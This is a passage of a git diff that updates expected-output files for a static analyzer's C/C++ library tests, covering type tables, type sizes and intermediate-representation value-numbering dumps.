Expr | Ref | | load.cpp:31:9:31:9 | (reference dereference) | | T | Expr | | -| load.cpp:31:9:31:9 | (reference dereference) | I | | Expr | | | load.cpp:31:9:31:9 | t | | T | Expr | Not ref | -| load.cpp:31:9:31:9 | t | I | | Expr | Not ref | -| load.cpp:31:9:31:13 | ... = ... | | T | Expr | | -| load.cpp:31:9:31:13 | ... = ... | I | | Expr | | -| load.cpp:31:9:31:14 | ExprStmt | | T | Stmt | | -| load.cpp:31:9:31:14 | ExprStmt | I | | Stmt | | | load.cpp:31:13:31:13 | (char)... | | T | Expr | | -| load.cpp:31:13:31:13 | (char)... | I | | Expr | | | load.cpp:31:13:31:13 | i | | T | Expr | Not ref | -| load.cpp:31:13:31:13 | i | I | | Expr | Not ref | -| load.cpp:32:5:32:5 | return ... | | T | Stmt | | -| load.cpp:32:5:32:5 | return ... | I | | Stmt | | diff --git a/cpp/ql/test/library-tests/templates/switch/test.expected b/cpp/ql/test/library-tests/templates/switch/test.expected index b4124494ffe..1ba49e1caf9 100644 --- a/cpp/ql/test/library-tests/templates/switch/test.expected +++ b/cpp/ql/test/library-tests/templates/switch/test.expected @@ -1,2 +1 @@ | test.cpp:13:3:20:3 | switch (...) ... | 3 | -| test.cpp:13:3:20:3 | switch (...) ... | 3 | diff --git a/cpp/ql/test/library-tests/templates/type_instantiations/types.expected b/cpp/ql/test/library-tests/templates/type_instantiations/types.expected index 31d7b7caa94..94930e59b7f 100644 --- a/cpp/ql/test/library-tests/templates/type_instantiations/types.expected +++ b/cpp/ql/test/library-tests/templates/type_instantiations/types.expected @@ -19,11 +19,14 @@ | file://:0:0:0:0 | __int128 | | file://:0:0:0:0 | __va_list_tag | | file://:0:0:0:0 | __va_list_tag & | +| file://:0:0:0:0 | __va_list_tag && | | file://:0:0:0:0 | auto | | file://:0:0:0:0 | bool | | file://:0:0:0:0 | char | | file://:0:0:0:0 | char16_t | | file://:0:0:0:0 | char32_t | +| file://:0:0:0:0 | const __va_list_tag | +| file://:0:0:0:0 | const __va_list_tag & | | file://:0:0:0:0 | decltype(nullptr) | | file://:0:0:0:0 | double | | file://:0:0:0:0 | error | diff --git a/cpp/ql/test/library-tests/type_sizes/type_sizes.expected b/cpp/ql/test/library-tests/type_sizes/type_sizes.expected index 12a38db4f93..287a713f2f0 100644 --- a/cpp/ql/test/library-tests/type_sizes/type_sizes.expected +++ b/cpp/ql/test/library-tests/type_sizes/type_sizes.expected @@ -40,6 +40,7 @@ | file://:0:0:0:0 | __int128 | 16 | | file://:0:0:0:0 | __va_list_tag | 24 | | file://:0:0:0:0 | __va_list_tag & | 8 | +| file://:0:0:0:0 | __va_list_tag && | 8 | | file://:0:0:0:0 | auto | | | file://:0:0:0:0 | bool | 1 | | file://:0:0:0:0 | char | 1 | @@ -54,13 +55,15 @@ | file://:0:0:0:0 | const StructWithDef & | 8 | | file://:0:0:0:0 | const UnionWithDef | 4 | | file://:0:0:0:0 | const UnionWithDef & | 8 | +| file://:0:0:0:0 | const __va_list_tag | 24 | +| file://:0:0:0:0 | const __va_list_tag & | 8 | | file://:0:0:0:0 | const char | 1 | | file://:0:0:0:0 | const char * | 8 | | file://:0:0:0:0 | const char *const | 8 | | file://:0:0:0:0 | const char[5] | 5 | | file://:0:0:0:0 | decltype(nullptr) | 8 | | file://:0:0:0:0 | double | 8 | -| file://:0:0:0:0 | error | 0 | +| file://:0:0:0:0 | error | 1 | | file://:0:0:0:0 | float | 4 | | file://:0:0:0:0 | int | 4 | | file://:0:0:0:0 | int & | 8 | @@ -78,7 +81,7 @@ | file://:0:0:0:0 | signed long | 8 | | file://:0:0:0:0 | signed long long | 8 | | file://:0:0:0:0 | signed short | 2 | -| file://:0:0:0:0 | unknown | 0 | +| file://:0:0:0:0 | unknown | 1 | | file://:0:0:0:0 | unsigned __int128 | 16 | | file://:0:0:0:0 | unsigned char | 1 | | file://:0:0:0:0 | unsigned int | 4 | diff --git a/cpp/ql/test/library-tests/types/types/Types.expected b/cpp/ql/test/library-tests/types/types/Types.expected index 63feb266b6e..ff44058f8a7 100644 --- a/cpp/ql/test/library-tests/types/types/Types.expected +++ b/cpp/ql/test/library-tests/types/types/Types.expected @@ -1,6 +1,8 @@ | file://:0:0:0:0 | fp_offset | | file://:0:0:0:0 | unsigned int | IntType | | file://:0:0:0:0 | gp_offset | | file://:0:0:0:0 | unsigned int | IntType | | file://:0:0:0:0 | overflow_arg_area | | file://:0:0:0:0 | void * | PointerType, VoidPointerType, base: void | +| file://:0:0:0:0 | p#0 | Parameter | file://:0:0:0:0 | __va_list_tag && | ReferenceType, base: __va_list_tag | +| file://:0:0:0:0 | p#0 | Parameter | file://:0:0:0:0 | const __va_list_tag & | ReferenceType, base: const __va_list_tag | | file://:0:0:0:0 | reg_save_area | | file://:0:0:0:0 | void * | PointerType, VoidPointerType, base: void | | types.cpp:1:12:1:12 | i | | file://:0:0:0:0 | int | IntType | | types.cpp:3:11:3:11 | c | isConst | file://:0:0:0:0 | const int | base: int, isConst | diff --git a/cpp/ql/test/library-tests/unnamed/elements.expected b/cpp/ql/test/library-tests/unnamed/elements.expected index 4aca4dd6877..8871ae29bfa 100644 --- a/cpp/ql/test/library-tests/unnamed/elements.expected +++ b/cpp/ql/test/library-tests/unnamed/elements.expected @@ -36,7 +36,6 @@ | file://:0:0:0:0 | char32_t | Other | | file://:0:0:0:0 | const | Other | | file://:0:0:0:0 | decltype(nullptr) | Other | -| file://:0:0:0:0 | definition of __va_list_tag | Other | | file://:0:0:0:0 | definition of fp_offset | Other | | file://:0:0:0:0 | definition of gp_offset | Other | | file://:0:0:0:0 | definition of overflow_arg_area | Other | diff --git a/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected b/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected index 60eb41ea55f..d9407d2b67e 100644 --- a/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected +++ b/cpp/ql/test/library-tests/unspecified_type/types/unspecified_type.expected @@ -20,11 +20,14 @@ | file://:0:0:0:0 | __float128 | __float128 | | file://:0:0:0:0 | __int128 | __int128 | | file://:0:0:0:0 | __va_list_tag & | __va_list_tag & | +| file://:0:0:0:0 | __va_list_tag && | __va_list_tag && | | file://:0:0:0:0 | auto | auto | | file://:0:0:0:0 | bool | bool | | file://:0:0:0:0 | char | char | | file://:0:0:0:0 | char16_t | char16_t | | file://:0:0:0:0 | char32_t | char32_t | +| file://:0:0:0:0 | const __va_list_tag | __va_list_tag | +| file://:0:0:0:0 | const __va_list_tag & | __va_list_tag & | | file://:0:0:0:0 | decltype(nullptr) | decltype(nullptr) | | file://:0:0:0:0 | double | double | | file://:0:0:0:0 | error | error | diff --git a/cpp/ql/test/library-tests/unspecified_type/unspecified_type/strip_top_level.expected b/cpp/ql/test/library-tests/unspecified_type/unspecified_type/strip_top_level.expected index e6b2fd63da6..6cc7e55a9ee 100644 --- a/cpp/ql/test/library-tests/unspecified_type/unspecified_type/strip_top_level.expected +++ b/cpp/ql/test/library-tests/unspecified_type/unspecified_type/strip_top_level.expected @@ -1,6 +1,8 @@ | file://:0:0:0:0 | fp_offset | unsigned int | unsigned int | | file://:0:0:0:0 | gp_offset | unsigned int | unsigned int | | file://:0:0:0:0 | overflow_arg_area | pointer to {void} | pointer to {void} | +| file://:0:0:0:0 | p#0 | reference to {const {struct __va_list_tag}} | reference to {const {struct __va_list_tag}} | +| file://:0:0:0:0 | p#0 | rvalue reference to {struct __va_list_tag} | rvalue reference to {struct __va_list_tag} | | file://:0:0:0:0 | reg_save_area | pointer to {void} | pointer to {void} | | unspecified_type.cpp:2:5:2:7 | vv1 | int | int | | unspecified_type.cpp:3:11:3:13 | vv2 | const {int} | int | diff --git a/cpp/ql/test/library-tests/unspecified_type/unspecified_type/unspecified_type.expected b/cpp/ql/test/library-tests/unspecified_type/unspecified_type/unspecified_type.expected index fbdb040c7b3..25fc70618b6 100644 --- a/cpp/ql/test/library-tests/unspecified_type/unspecified_type/unspecified_type.expected +++ b/cpp/ql/test/library-tests/unspecified_type/unspecified_type/unspecified_type.expected @@ -1,6 +1,8 @@ | file://:0:0:0:0 | fp_offset | unsigned int | unsigned int | | file://:0:0:0:0 | gp_offset | unsigned int | unsigned int | | file://:0:0:0:0 | overflow_arg_area | pointer to {void} | pointer to {void} | +| file://:0:0:0:0 | p#0 | reference to {const {struct __va_list_tag}} | reference to {struct __va_list_tag} | +| file://:0:0:0:0 | p#0 | rvalue reference to {struct __va_list_tag} | rvalue reference to {struct __va_list_tag} | | file://:0:0:0:0 | reg_save_area | pointer to {void} | pointer to {void} | | unspecified_type.cpp:2:5:2:7 | vv1 | int | int | | unspecified_type.cpp:3:11:3:13 | vv2 | const {int} | int | diff --git a/cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ir_gvn.expected b/cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ir_gvn.expected index 3df04157bf6..dd3c96a23ad 100644 --- a/cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ir_gvn.expected +++ b/cpp/ql/test/library-tests/valuenumbering/GlobalValueNumbering/ir_gvn.expected @@ -2,359 +2,375 @@ test.cpp: # 1| test00(int, int) -> int # 1| Block 0 # 1| v0_0(void) = EnterFunction : -# 1| mu0_1(unknown) = UnmodeledDefinition : +# 1| m0_1(unknown) = AliasedDefinition : # 1| valnum = unique -# 1| r0_2(glval) = VariableAddress[p0] : -# 1| valnum = r0_2 -# 1| m0_3(int) = InitializeParameter[p0] : r0_2 -# 1| valnum = m0_3 -# 1| r0_4(glval) = VariableAddress[p1] : -# 1| valnum = r0_4 -# 1| m0_5(int) = InitializeParameter[p1] : r0_4 -# 1| valnum = m0_5 -# 2| r0_6(glval) = VariableAddress[x] : -# 2| valnum = r0_6 -# 2| m0_7(int) = Uninitialized : r0_6 -# 2| valnum = unique -# 2| r0_8(glval) = VariableAddress[y] : -# 2| valnum = r0_8 -# 2| m0_9(int) = Uninitialized : r0_8 -# 2| valnum = unique -# 3| r0_10(glval) = VariableAddress[b] : -# 3| valnum = unique -# 3| m0_11(unsigned char) = Uninitialized : r0_10 -# 3| valnum = unique -# 5| r0_12(glval) = VariableAddress[p0] : -# 5| valnum = r0_2 -# 5| r0_13(int) = Load : r0_12, m0_3 -# 5| valnum = m0_3 -# 5| r0_14(glval) = VariableAddress[p1] : -# 5| valnum = r0_4 -# 5| r0_15(int) = Load : r0_14, m0_5 -# 5| valnum = m0_5 -# 5| r0_16(int) = Add : r0_13, r0_15 -# 5| valnum = r0_16 -# 5| r0_17(glval) = VariableAddress[x] : -# 5| valnum = r0_6 -# 5| m0_18(int) = Store : r0_17, r0_16 -# 5| valnum = r0_16 -# 6| r0_19(glval) = VariableAddress[p0] : -# 6| valnum = r0_2 -# 6| r0_20(int) = Load : r0_19, m0_3 -# 6| valnum = m0_3 -# 6| r0_21(glval) = VariableAddress[p1] : -# 6| valnum = r0_4 -# 6| r0_22(int) = Load : r0_21, m0_5 -# 6| valnum = m0_5 -# 6| r0_23(int) = Add : r0_20, r0_22 -# 6| valnum = r0_16 -# 6| r0_24(glval) = VariableAddress[x] : -# 6| valnum = r0_6 -# 6| m0_25(int) = Store : r0_24, r0_23 -# 6| valnum = r0_16 -# 7| r0_26(glval) = VariableAddress[x] : -# 7| valnum = r0_6 -# 7| r0_27(int) = Load : r0_26, m0_25 -# 7| valnum = r0_16 -# 7| r0_28(glval) = VariableAddress[y] : -# 7| valnum = r0_8 -# 7| m0_29(int) = Store : r0_28, r0_27 -# 7| valnum = r0_16 -# 8| v0_30(void) = NoOp : -# 1| r0_31(glval) = VariableAddress[#return] : +# 1| mu0_2(unknown) = UnmodeledDefinition : # 1| valnum = unique -# 1| v0_32(void) = ReturnValue : r0_31 -# 1| v0_33(void) = UnmodeledUse : mu* -# 1| v0_34(void) = ExitFunction : +# 1| r0_3(glval) = VariableAddress[p0] : +# 1| valnum = r0_3 +# 1| m0_4(int) = InitializeParameter[p0] : r0_3 +# 1| valnum = m0_4 +# 1| r0_5(glval) = VariableAddress[p1] : +# 1| valnum = r0_5 +# 1| m0_6(int) = InitializeParameter[p1] : r0_5 +# 1| valnum = m0_6 +# 2| r0_7(glval) = VariableAddress[x] : +# 2| valnum = r0_7 +# 2| m0_8(int) = Uninitialized[x] : r0_7 +# 2| valnum = unique +# 2| r0_9(glval) = VariableAddress[y] : +# 2| valnum = r0_9 +# 2| m0_10(int) = Uninitialized[y] : r0_9 +# 2| valnum = unique +# 3| r0_11(glval) = VariableAddress[b] : +# 3| valnum = unique +# 3| m0_12(unsigned char) = Uninitialized[b] : r0_11 +# 3| valnum = unique +# 5| r0_13(glval) = VariableAddress[p0] : +# 5| valnum = r0_3 +# 5| r0_14(int) = Load : r0_13, m0_4 +# 5| valnum = m0_4 +# 5| r0_15(glval) = VariableAddress[p1] : +# 5| valnum = r0_5 +# 5| r0_16(int) = Load : r0_15, m0_6 +# 5| valnum = m0_6 +# 5| r0_17(int) = Add : r0_14, r0_16 +# 5| valnum = r0_17 +# 5| r0_18(glval) = VariableAddress[x] : +# 5| valnum = r0_7 +# 5| m0_19(int) = Store : r0_18, r0_17 +# 5| valnum = r0_17 +# 6| r0_20(glval) = VariableAddress[p0] : +# 6| valnum = r0_3 +# 6| r0_21(int) = Load : r0_20, m0_4 +# 6| valnum = m0_4 +# 6| r0_22(glval) = VariableAddress[p1] : +# 6| valnum = r0_5 +# 6| r0_23(int) = Load : r0_22, m0_6 +# 6| valnum = m0_6 +# 6| r0_24(int) = Add : r0_21, r0_23 +# 6| valnum = r0_17 +# 6| r0_25(glval) = VariableAddress[x] : +# 6| valnum = r0_7 +# 6| m0_26(int) = Store : r0_25, r0_24 +# 6| valnum = r0_17 +# 7| r0_27(glval) = VariableAddress[x] : +# 7| valnum = r0_7 +# 7| r0_28(int) = Load : r0_27, m0_26 +# 7| valnum = r0_17 +# 7| r0_29(glval) = VariableAddress[y] : +# 7| valnum = r0_9 +# 7| m0_30(int) = Store : r0_29, r0_28 +# 7| valnum = r0_17 +# 8| v0_31(void) = NoOp : +# 1| r0_32(glval) = VariableAddress[#return] : +# 1| valnum = unique +# 1| v0_33(void) = ReturnValue : r0_32 +# 1| v0_34(void) = UnmodeledUse : mu* +# 1| v0_35(void) = ExitFunction : # 12| test01(int, int) -> int # 12| Block 0 # 12| v0_0(void) = EnterFunction : -# 12| mu0_1(unknown) = UnmodeledDefinition : +# 12| m0_1(unknown) = AliasedDefinition : # 12| valnum = unique -# 12| r0_2(glval) = VariableAddress[p0] : -# 12| valnum = r0_2 -# 12| m0_3(int) = InitializeParameter[p0] : r0_2 -# 12| valnum = m0_3 -# 12| r0_4(glval) = VariableAddress[p1] : -# 12| valnum = r0_4 -# 12| m0_5(int) = InitializeParameter[p1] : r0_4 -# 12| valnum = m0_5 -# 13| r0_6(glval) = VariableAddress[x] : -# 13| valnum = r0_6 -# 13| m0_7(int) = Uninitialized : r0_6 +# 12| mu0_2(unknown) = UnmodeledDefinition : +# 12| valnum = unique +# 12| r0_3(glval) = VariableAddress[p0] : +# 12| valnum = r0_3 +# 12| m0_4(int) = InitializeParameter[p0] : r0_3 +# 12| valnum = m0_4 +# 12| r0_5(glval) = VariableAddress[p1] : +# 12| valnum = r0_5 +# 12| m0_6(int) = InitializeParameter[p1] : r0_5 +# 12| valnum = m0_6 +# 13| r0_7(glval) = VariableAddress[x] : +# 13| valnum = r0_7 +# 13| m0_8(int) = Uninitialized[x] : r0_7 # 13| valnum = unique -# 13| r0_8(glval) = VariableAddress[y] : -# 13| valnum = r0_8 -# 13| m0_9(int) = Uninitialized : r0_8 +# 13| r0_9(glval) = VariableAddress[y] : +# 13| valnum = r0_9 +# 13| m0_10(int) = Uninitialized[y] : r0_9 # 13| valnum = unique -# 14| r0_10(glval) = VariableAddress[b] : +# 14| r0_11(glval) = VariableAddress[b] : # 14| valnum = unique -# 14| m0_11(unsigned char) = Uninitialized : r0_10 +# 14| m0_12(unsigned char) = Uninitialized[b] : r0_11 # 14| valnum = unique -# 16| r0_12(glval) = VariableAddress[p0] : -# 16| valnum = r0_2 -# 16| r0_13(int) = Load : r0_12, m0_3 -# 16| valnum = m0_3 -# 16| r0_14(glval) = VariableAddress[p1] : -# 16| valnum = r0_4 -# 16| r0_15(int) = Load : r0_14, m0_5 -# 16| valnum = m0_5 -# 16| r0_16(int) = Add : r0_13, r0_15 -# 16| valnum = r0_16 -# 16| r0_17(glval) = VariableAddress[global01] : +# 16| r0_13(glval) = VariableAddress[p0] : +# 16| valnum = r0_3 +# 16| r0_14(int) = Load : r0_13, m0_4 +# 16| valnum = m0_4 +# 16| r0_15(glval) = VariableAddress[p1] : +# 16| valnum = r0_5 +# 16| r0_16(int) = Load : r0_15, m0_6 +# 16| valnum = m0_6 +# 16| r0_17(int) = Add : r0_14, r0_16 # 16| valnum = r0_17 -# 16| r0_18(int) = Load : r0_17, mu0_1 +# 16| r0_18(glval) = VariableAddress[global01] : +# 16| valnum = r0_18 +# 16| r0_19(int) = Load : r0_18, mu0_2 # 16| valnum = unique -# 16| r0_19(int) = Add : r0_16, r0_18 -# 16| valnum = r0_19 -# 16| r0_20(glval) = VariableAddress[x] : -# 16| valnum = r0_6 -# 16| m0_21(int) = Store : r0_20, r0_19 -# 16| valnum = r0_19 -# 17| r0_22(glval) = VariableAddress[p0] : -# 17| valnum = r0_2 -# 17| r0_23(int) = Load : r0_22, m0_3 -# 17| valnum = m0_3 -# 17| r0_24(glval) = VariableAddress[p1] : -# 17| valnum = r0_4 -# 17| r0_25(int) = Load : r0_24, m0_5 -# 17| valnum = m0_5 -# 17| r0_26(int) = Add : r0_23, r0_25 -# 17| valnum = r0_16 -# 17| r0_27(glval) = VariableAddress[global01] : +# 16| r0_20(int) = Add : r0_17, r0_19 +# 16| valnum = r0_20 +# 16| r0_21(glval) = VariableAddress[x] : +# 16| valnum = r0_7 +# 16| m0_22(int) = Store : r0_21, r0_20 +# 16| valnum = r0_20 +# 17| r0_23(glval) = VariableAddress[p0] : +# 17| valnum = r0_3 +# 17| r0_24(int) = Load : r0_23, m0_4 +# 17| valnum = m0_4 +# 17| r0_25(glval) = VariableAddress[p1] : +# 17| valnum = r0_5 +# 17| r0_26(int) = Load : r0_25, m0_6 +# 17| valnum = m0_6 +# 17| r0_27(int) = Add : r0_24, r0_26 # 17| valnum = r0_17 -# 17| r0_28(int) = Load : r0_27, mu0_1 +# 17| r0_28(glval) = VariableAddress[global01] : +# 17| valnum = r0_18 +# 17| r0_29(int) = Load : r0_28, mu0_2 # 17| valnum = unique -# 17| r0_29(int) = Add : r0_26, r0_28 -# 17| valnum = r0_29 -# 17| r0_30(glval) = VariableAddress[x] : -# 17| valnum = r0_6 -# 17| m0_31(int) = Store : r0_30, r0_29 -# 17| valnum = r0_29 -# 18| r0_32(glval) = VariableAddress[x] : -# 18| valnum = r0_6 -# 18| r0_33(int) = Load : r0_32, m0_31 -# 18| valnum = r0_29 -# 18| r0_34(glval) = VariableAddress[y] : -# 18| valnum = r0_8 -# 18| m0_35(int) = Store : r0_34, r0_33 -# 18| valnum = r0_29 -# 19| v0_36(void) = NoOp : -# 12| r0_37(glval) = VariableAddress[#return] : +# 17| r0_30(int) = Add : r0_27, r0_29 +# 17| valnum = r0_30 +# 17| r0_31(glval) = VariableAddress[x] : +# 17| valnum = r0_7 +# 17| m0_32(int) = Store : r0_31, r0_30 +# 17| valnum = r0_30 +# 18| r0_33(glval) = VariableAddress[x] : +# 18| valnum = r0_7 +# 18| r0_34(int) = Load : r0_33, m0_32 +# 18| valnum = r0_30 +# 18| r0_35(glval) = VariableAddress[y] : +# 18| valnum = r0_9 +# 18| m0_36(int) = Store : r0_35, r0_34 +# 18| valnum = r0_30 +# 19| v0_37(void) = NoOp : +# 12| r0_38(glval) = VariableAddress[#return] : # 12| valnum = unique -# 12| v0_38(void) = ReturnValue : r0_37 -# 12| v0_39(void) = UnmodeledUse : mu* -# 12| v0_40(void) = ExitFunction : +# 12| v0_39(void) = ReturnValue : r0_38 +# 12| v0_40(void) = UnmodeledUse : mu* +# 12| v0_41(void) = ExitFunction : # 25| test02(int, int) -> int # 25| Block 0 # 25| v0_0(void) = EnterFunction : -# 25| mu0_1(unknown) = UnmodeledDefinition : +# 25| m0_1(unknown) = AliasedDefinition : # 25| valnum = unique -# 25| r0_2(glval) = VariableAddress[p0] : -# 25| valnum = r0_2 -# 25| m0_3(int) = InitializeParameter[p0] : r0_2 -# 25| valnum = m0_3 -# 25| r0_4(glval) = VariableAddress[p1] : -# 25| valnum = r0_4 -# 25| m0_5(int) = InitializeParameter[p1] : r0_4 -# 25| valnum = m0_5 -# 26| r0_6(glval) = VariableAddress[x] : -# 26| valnum = r0_6 -# 26| m0_7(int) = Uninitialized : r0_6 +# 25| mu0_2(unknown) = UnmodeledDefinition : +# 25| valnum = unique +# 25| r0_3(glval) = VariableAddress[p0] : +# 25| valnum = r0_3 +# 25| m0_4(int) = InitializeParameter[p0] : r0_3 +# 25| valnum = m0_4 +# 25| r0_5(glval) = VariableAddress[p1] : +# 25| valnum = r0_5 +# 25| m0_6(int) = InitializeParameter[p1] : r0_5 +# 25| valnum = m0_6 +# 26| r0_7(glval) = VariableAddress[x] : +# 26| valnum = r0_7 +# 26| m0_8(int) = Uninitialized[x] : r0_7 # 26| valnum = unique -# 26| r0_8(glval) = VariableAddress[y] : -# 26| valnum = r0_8 -# 26| m0_9(int) = Uninitialized : r0_8 +# 26| r0_9(glval) = VariableAddress[y] : +# 26| valnum = r0_9 +# 26| m0_10(int) = Uninitialized[y] : r0_9 # 26| valnum = unique -# 27| r0_10(glval) = VariableAddress[b] : +# 27| r0_11(glval) = VariableAddress[b] : # 27| valnum = unique -# 27| m0_11(unsigned char) = Uninitialized : r0_10 +# 27| m0_12(unsigned char) = Uninitialized[b] : r0_11 # 27| valnum = unique -# 29| r0_12(glval) = VariableAddress[p0] : -# 29| valnum = r0_2 -# 29| r0_13(int) = Load : r0_12, m0_3 -# 29| valnum = m0_3 -# 29| r0_14(glval) = VariableAddress[p1] : -# 29| valnum = r0_4 -# 29| r0_15(int) = Load : r0_14, m0_5 -# 29| valnum = m0_5 -# 29| r0_16(int) = Add : r0_13, r0_15 -# 29| valnum = r0_16 -# 29| r0_17(glval) = VariableAddress[global02] : +# 29| r0_13(glval) = VariableAddress[p0] : +# 29| valnum = r0_3 +# 29| r0_14(int) = Load : r0_13, m0_4 +# 29| valnum = m0_4 +# 29| r0_15(glval) = VariableAddress[p1] : +# 29| valnum = r0_5 +# 29| r0_16(int) = Load : r0_15, m0_6 +# 29| valnum = m0_6 +# 29| r0_17(int) = Add : r0_14, r0_16 # 29| valnum = r0_17 -# 29| r0_18(int) = Load : r0_17, mu0_1 +# 29| r0_18(glval) = VariableAddress[global02] : +# 29| valnum = r0_18 +# 29| r0_19(int) = Load : r0_18, mu0_2 # 29| valnum = unique -# 29| r0_19(int) = Add : r0_16, r0_18 -# 29| valnum = r0_19 -# 29| r0_20(glval) = VariableAddress[x] : -# 29| valnum = r0_6 -# 29| m0_21(int) = Store : r0_20, r0_19 -# 29| valnum = r0_19 -# 30| r0_22(glval) = FunctionAddress[change_global02] : +# 29| r0_20(int) = Add : r0_17, r0_19 +# 29| valnum = r0_20 +# 29| r0_21(glval) = VariableAddress[x] : +# 29| valnum = r0_7 +# 29| m0_22(int) = Store : r0_21, r0_20 +# 29| valnum = r0_20 +# 30| r0_23(glval) = FunctionAddress[change_global02] : # 30| valnum = unique -# 30| v0_23(void) = Call : r0_22 -# 31| r0_24(glval) = VariableAddress[p0] : -# 31| valnum = r0_2 -# 31| r0_25(int) = Load : r0_24, m0_3 -# 31| valnum = m0_3 -# 31| r0_26(glval) = VariableAddress[p1] : -# 31| valnum = r0_4 -# 31| r0_27(int) = Load : r0_26, m0_5 -# 31| valnum = m0_5 -# 31| r0_28(int) = Add : r0_25, r0_27 -# 31| valnum = r0_16 -# 31| r0_29(glval) = VariableAddress[global02] : -# 31| valnum = r0_17 -# 31| r0_30(int) = Load : r0_29, mu0_1 -# 31| valnum = unique +# 30| v0_24(void) = Call : r0_23 +# 30| m0_25(unknown) = ^CallSideEffect : m0_1 +# 30| valnum = unique +# 30| m0_26(unknown) = Chi : m0_1, m0_25 +# 30| valnum = unique +# 31| r0_27(glval) = VariableAddress[p0] : +# 31| valnum = r0_3 +# 31| r0_28(int) = Load : r0_27, m0_4 +# 31| valnum = m0_4 +# 31| r0_29(glval) = VariableAddress[p1] : +# 31| valnum = r0_5 +# 31| r0_30(int) = Load : r0_29, m0_6 +# 31| valnum = m0_6 # 31| r0_31(int) = Add : r0_28, r0_30 -# 31| valnum = r0_31 -# 31| r0_32(glval) = VariableAddress[x] : -# 31| valnum = r0_6 -# 31| m0_33(int) = Store : r0_32, r0_31 -# 31| valnum = r0_31 -# 32| r0_34(glval) = VariableAddress[x] : -# 32| valnum = r0_6 -# 32| r0_35(int) = Load : r0_34, m0_33 -# 32| valnum = r0_31 -# 32| r0_36(glval) = VariableAddress[y] : -# 32| valnum = r0_8 -# 32| m0_37(int) = Store : r0_36, r0_35 -# 32| valnum = r0_31 -# 33| v0_38(void) = NoOp : -# 25| r0_39(glval) = VariableAddress[#return] : +# 31| valnum = r0_17 +# 31| r0_32(glval) = VariableAddress[global02] : +# 31| valnum = r0_18 +# 31| r0_33(int) = Load : r0_32, mu0_2 +# 31| valnum = unique +# 31| r0_34(int) = Add : r0_31, r0_33 +# 31| valnum = r0_34 +# 31| r0_35(glval) = VariableAddress[x] : +# 31| valnum = r0_7 +# 31| m0_36(int) = Store : r0_35, r0_34 +# 31| valnum = r0_34 +# 32| r0_37(glval) = VariableAddress[x] : +# 32| valnum = r0_7 +# 32| r0_38(int) = Load : r0_37, m0_36 +# 32| valnum = r0_34 +# 32| r0_39(glval) = VariableAddress[y] : +# 32| valnum = r0_9 +# 32| m0_40(int) = Store : r0_39, r0_38 +# 32| valnum = r0_34 +# 33| v0_41(void) = NoOp : +# 25| r0_42(glval) = VariableAddress[#return] : # 25| valnum = unique -# 25| v0_40(void) = ReturnValue : r0_39 -# 25| v0_41(void) = UnmodeledUse : mu* -# 25| v0_42(void) = ExitFunction : +# 25| v0_43(void) = ReturnValue : r0_42 +# 25| v0_44(void) = UnmodeledUse : mu* +# 25| v0_45(void) = ExitFunction : # 39| test03(int, int, int *) -> int # 39| Block 0 # 39| v0_0(void) = EnterFunction : -# 39| mu0_1(unknown) = UnmodeledDefinition : +# 39| m0_1(unknown) = AliasedDefinition : # 39| valnum = unique -# 39| r0_2(glval) = VariableAddress[p0] : -# 39| valnum = r0_2 -# 39| m0_3(int) = InitializeParameter[p0] : r0_2 -# 39| valnum = m0_3 -# 39| r0_4(glval) = VariableAddress[p1] : -# 39| valnum = r0_4 -# 39| m0_5(int) = InitializeParameter[p1] : r0_4 -# 39| valnum = m0_5 -# 39| r0_6(glval) = VariableAddress[p2] : -# 39| valnum = r0_6 -# 39| m0_7(int *) = InitializeParameter[p2] : r0_6 -# 39| valnum = m0_7 -# 40| r0_8(glval) = VariableAddress[x] : -# 40| valnum = r0_8 -# 40| m0_9(int) = Uninitialized : r0_8 +# 39| mu0_2(unknown) = UnmodeledDefinition : +# 39| valnum = unique +# 39| r0_3(glval) = VariableAddress[p0] : +# 39| valnum = r0_3 +# 39| m0_4(int) = InitializeParameter[p0] : r0_3 +# 39| valnum = m0_4 +# 39| r0_5(glval) = VariableAddress[p1] : +# 39| valnum = r0_5 +# 39| m0_6(int) = InitializeParameter[p1] : r0_5 +# 39| valnum = m0_6 +# 39| r0_7(glval) = VariableAddress[p2] : +# 39| valnum = r0_7 +# 39| m0_8(int *) = InitializeParameter[p2] : r0_7 +# 39| valnum = m0_8 +# 40| r0_9(glval) = VariableAddress[x] : +# 40| valnum = r0_9 +# 40| m0_10(int) = Uninitialized[x] : r0_9 # 40| valnum = unique -# 40| r0_10(glval) = VariableAddress[y] : -# 40| valnum = r0_10 -# 40| m0_11(int) = Uninitialized : r0_10 +# 40| r0_11(glval) = VariableAddress[y] : +# 40| valnum = r0_11 +# 40| m0_12(int) = Uninitialized[y] : r0_11 # 40| valnum = unique -# 41| r0_12(glval) = VariableAddress[b] : +# 41| r0_13(glval) = VariableAddress[b] : # 41| valnum = unique -# 41| m0_13(unsigned char) = Uninitialized : r0_12 +# 41| m0_14(unsigned char) = Uninitialized[b] : r0_13 # 41| valnum = unique -# 43| r0_14(glval) = VariableAddress[p0] : -# 43| valnum = r0_2 -# 43| r0_15(int) = Load : r0_14, m0_3 -# 43| valnum = m0_3 -# 43| r0_16(glval) = VariableAddress[p1] : -# 43| valnum = r0_4 -# 43| r0_17(int) = Load : r0_16, m0_5 -# 43| valnum = m0_5 -# 43| r0_18(int) = Add : r0_15, r0_17 -# 43| valnum = r0_18 -# 43| r0_19(glval) = VariableAddress[global03] : +# 43| r0_15(glval) = VariableAddress[p0] : +# 43| valnum = r0_3 +# 43| r0_16(int) = Load : r0_15, m0_4 +# 43| valnum = m0_4 +# 43| r0_17(glval) = VariableAddress[p1] : +# 43| valnum = r0_5 +# 43| r0_18(int) = Load : r0_17, m0_6 +# 43| valnum = m0_6 +# 43| r0_19(int) = Add : r0_16, r0_18 # 43| valnum = r0_19 -# 43| r0_20(int) = Load : r0_19, mu0_1 +# 43| r0_20(glval) = VariableAddress[global03] : +# 43| valnum = r0_20 +# 43| r0_21(int) = Load : r0_20, mu0_2 # 43| valnum = unique -# 43| r0_21(int) = Add : r0_18, r0_20 -# 43| valnum = r0_21 -# 43| r0_22(glval) = VariableAddress[x] : -# 43| valnum = r0_8 -# 43| m0_23(int) = Store : r0_22, r0_21 -# 43| valnum = r0_21 -# 44| r0_24(int) = 